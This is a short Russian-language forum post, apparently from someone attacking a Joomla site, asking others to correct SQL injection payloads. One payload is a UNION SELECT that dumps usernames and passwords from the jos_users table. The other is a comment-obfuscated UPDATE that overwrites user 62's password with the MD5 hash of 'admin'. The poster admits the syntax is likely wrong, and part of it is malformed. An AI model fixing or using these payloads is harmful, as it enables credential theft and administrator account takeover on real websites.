Я сейчас через Canary сижу, ну ладно, суть не в этом.

как я понимаю запрос выглядит так ( синтаксис скорее всего в корне неправильный)

UNION SELECT group_concat(`username`,`password`),2,3,4

FROM `jos_users`

если выполнять

SET password='21232f297a57a5a743894a0e4a801fc3'

WHERE id = 62;

то это должно выглядеть так:

/**/update/**/jos_users/**/SET/**/password='21232f297a57a5a743894a0e4a801fc3'/WHERE/**/id=62

Поправьте